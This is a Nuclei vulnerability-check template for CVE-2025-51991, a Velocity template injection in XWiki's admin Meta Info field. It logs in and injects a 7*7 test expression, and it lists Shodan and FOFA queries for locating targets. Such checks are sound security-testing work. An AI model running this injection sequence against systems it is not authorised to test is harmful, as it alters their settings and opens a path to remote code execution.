XWiki <= 17.3.0 - Server-Side Template Injection (SSTI)

id: CVE-2025-51991

info:
  name: XWiki <= 17.3.0 - Server-Side Template Injection (SSTI)
  author: 0x_Akoko
  severity: critical
  description: |
    XWiki <= 17.3.0 contains a server-side template injection caused by improper validation of Apache Velocity template code in the Administration interface HTTP Meta Info field, letting authenticated administrators execute arbitrary template logic.
  impact: |
    Authenticated administrators can execute arbitrary template logic, potentially exposing internal server information or enabling remote code execution.
  remediation: |
    Update to a version later than 17.3.0 or the latest available version.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-51991
    - https://github.com/malcxlmj/cve-writeups/blob/main/CVE-2025-51991.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2025-51991
    epss-score: 0.03688
    epss-percentile: 0.89307
    cwe-id: CWE-94
  metadata:
    max-request: 5
    verified: true
    vendor: xwiki
    product: xwiki
    shodan-query: http.html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: xwiki,ssti,template-injection,authenticated,vuln

flow: http(1) && http(2) && http(3) && http(4) && http(5)

http:
  - raw:
      - |
        GET /bin/login/XWiki/XWikiLogin HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: login_token
        internal: true
        regex:
          - 'name="form_token" value="([^"]+)"'
        group: 1

  - raw:
      - |
        POST /bin/loginsubmit/XWiki/XWikiLogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        xredirect=&form_token={{login_token}}&j_username={{username}}&j_password={{password}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(location, '/bin/view/Main/')
        condition: and
        internal: true

  - raw:
      - |
        GET /bin/admin/XWiki/XWikiPreferences?editor=globaladmin&section=Presentation HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: form_token
        internal: true
        regex:
          - 'data-xwiki-form-token="([^"]+)"'
        group: 1

  - raw:
      - |
        POST /bin/saveandcontinue/XWiki/XWikiPreferences HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        XWiki.XWikiPreferences_0_showannotations=&XWiki.XWikiPreferences_0_showcomments=&XWiki.XWikiPreferences_0_showattachments=&XWiki.XWikiPreferences_0_showhistory=&XWiki.XWikiPreferences_0_showinformation=&XWiki.XWikiPreferences_0_title=&XWiki.XWikiPreferences_0_meta=%23set%28%24x%3D7%2A7%29%24x&XWiki.XWikiPreferences_0_webcopyright=&XWiki.XWikiPreferences_0_version=&form_token={{form_token}}&xcontinue=%2Fbin%2Fadmin%2FXWiki%2FXWikiPreferences%3Feditor%3Dglobaladmin%26section%3DPresentation&xredirect=%2Fbin%2Fadmin%2FXWiki%2FXWikiPreferences%3Feditor%3Dglobaladmin%26section%3DPresentation&classname=XWiki.XWikiPreferences&formactionsac=Save

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
        internal: true

  - raw:
      - |
        GET /bin/view/XWiki/XWikiPreferences HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'regex("XWikiPreferences\"[^>]*>\\s*49\\s*<", body)'
        condition: and
# digest: 4b0a00483046022100fcf95f1d503bdf90263015d92c83cc67fc531bdaf2755c3dead5afb7e531bd1d022100ffdc8cbead78b53aa306072b22eb079f7efe7ed38dc001228f243e519558cff7:922c64590222798bb761d5b6d8e72950